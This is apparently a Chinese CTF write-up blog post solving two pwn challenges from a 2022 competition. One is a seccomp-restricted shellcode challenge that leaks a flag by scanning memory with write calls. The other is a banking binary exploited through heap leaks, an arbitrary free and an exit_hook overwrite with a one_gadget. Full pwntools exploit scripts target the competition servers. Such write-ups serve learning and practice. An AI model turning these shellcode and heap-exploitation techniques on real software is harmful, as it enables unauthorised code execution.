第一题的第五个解出:

8RXOF$HL_Y3FZ%XNJ3DO%G6

第二题的三血

008qDYGVly1h414o8sb3tj30al09yjtx

总体难度偏简单。

# EscapeShellcode

清空了所有寄存器(设置为 0xdeadbeefdeadbeef),包括 rsp。

flag 读到了 bss 段上。

seccomp 只允许调用 read 和 write。这里我只用到了 write。

利用的主要是:

write,read 函数遇到不可读写的区域,会返回 < 0 的值,且不会令程序崩溃。

  • 首先利用 syscall 会给 rcx 赋值的特性,将 rip 的值赋给 rcx。
  • 将 rcx 赋给 r8
  • r8 减去一个很大的偏移,令他小于 codebase,将 r8 赋给 rsi
  • cmp rax,0,不断调用 write。
  • r8+=0x200
  • 那么最终 r8 一定会落在 codebase ±0x200 范围内,这时候加上偏移 0x3f00,加上 write 函数写的 0x200 字节,便一定能覆盖到 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context(arch='amd64')
# r = process('/mnt/hgfs/ubuntu/2022蓝帽/escape_shellcode/escape_shellcode')
r = remote('47.94.194.27',21957)

# gdb.attach(r)
shellcode='''
mov rax,0
syscall
sub rcx,0x3000000
mov r8,rcx
a:
mov rax,1
mov rsi,r8
mov rdi,1
mov rdx,0x200
syscall
add r8,0x200
cmp rax,0
jng a
add rsi,0x3f00
mov rax,1
syscall
'''

r.sendline(asm(shellcode))
r.interactive()

放一个打通的截图:

image-20220709093227650

# Bank

最开始程序没提供 libc,有点搞。

程序代码比较多,稍微理一下逻辑:

实现了一个类似于银行功能:登录存款取款转账等功能。

存款上限为 0x190,全存进去。

代码审计后发现只有转账功能中可以利用。

转账功能中有以下功能:

image-20220709134303865

admin 可以越界泄露,hacker 可以任意地址 free,guest 稳定 malloc (0x18) 大小,ghost 则是可以 realloc,abyss 则是任意地址写一次后调用 exit ()

思路:

  • 通过 realloc 先 free 掉一个堆块,用 admin 功能 show 出堆基址。
  • 伪造一个 unsortedbin 堆块,free 掉他,同时用 guest 功能切割后 show 泄露 libc 基址。
  • 然后用 abyss 功能打 exit_hook 覆盖为 ogg 即可

难度应该主要在逆向了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/2022蓝帽/bank/Bank')
r = remote('39.107.108.120',39291)
libc = ELF('/mnt/hgfs/ubuntu/2022蓝帽/bank/libc-2.31.so')

def lossmoney(money):
r.recvuntil(b"Click: ")
r.sendline(b'Deposit')
r.recvuntil(b"How Much? ")
r.sendline(str(money))

def addmoney(money):
r.recvuntil(b"Click: ")
r.sendline(b'Put')
r.recvuntil(b"How Much? ")
r.sendline(str(money))

def login(carno,pwd):
r.recvuntil(b"Click: ")
r.sendline(b'Login')
r.recvuntil(b"Card Numbers: ")
r.sendline(carno)
r.recvuntil(b"Password: ")
r.sendline(pwd)

def showuser():
r.recvuntil(b"Click: ")
r.sendline(b'Info')

def transfer(user,money):
r.recvuntil(b"Click: ")
r.sendline(b'Transfer')
r.recvuntil(b"who? ")
r.sendline(user)
r.recvuntil(b"How much? ")
r.sendline(str(money))

def realloc(size):
transfer(b'ghost',0xb)
r.recvuntil(b"ghost: &^%$#@! :)")
r.sendline(str(size))

def add(content):
transfer(b'guest',0x6)
r.recvuntil(b"data: ")
r.send(content)

def delete(addr):
transfer(b'hacker',0x33)
r.recvuntil(b"hacker: Great!")
r.sendline(str(addr))

def show(offset):
transfer(b'admin',offset)

login(b'123',b'456789')
addmoney(0x190)


realloc(0x38)
add(p64(0)+p64(0x4d1))
realloc(0x48)
add(b'a'*0x10)
realloc(0x58)
add(b'a'*0x10)
realloc(0x68)
show(0x1f)
r.recvuntil(b'I think ')
heap_base = int(r.recvuntil(b' ')[:-1],16)-0x10
add(b'a'*0x10)
realloc(0x78)
add(b'a'*0x10)
realloc(0x88)
add(b'a'*0x10)
realloc(0x98)
add(b'a'*0x10)
realloc(0x100)
add(b'a'*0x10)
add(b'a'*0x10)
add(b'a'*0x10)
delete(heap_base+0x310)
add(b'a'*0x10)
add(b'a'*0x10)
add(b'a'*0x10)
add(b'a'*0x10)
show(0x1f)
r.recvuntil(b'I think ')
libc_base = int(r.recvuntil(b' ')[:-1],16)-0x1ebbe0
delete(heap_base+0x2a0)
exit_hook = libc_base+0x222f68
add(p64(exit_hook))
one_gadget = libc_base+0xe6c7e

# gdb.attach(r)
r.recvuntil(b"Click: ")
r.sendline(b'Transfer')
r.recvuntil(b"who? ")
r.sendline(b'abyss')
r.recvuntil(b"How much? ")
r.sendline(b'1')
pause()
r.sendline(str(one_gadget))

log.success("libc_base: "+hex(libc_base))
log.success("heap_base: "+hex(heap_base))




r.interactive()
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝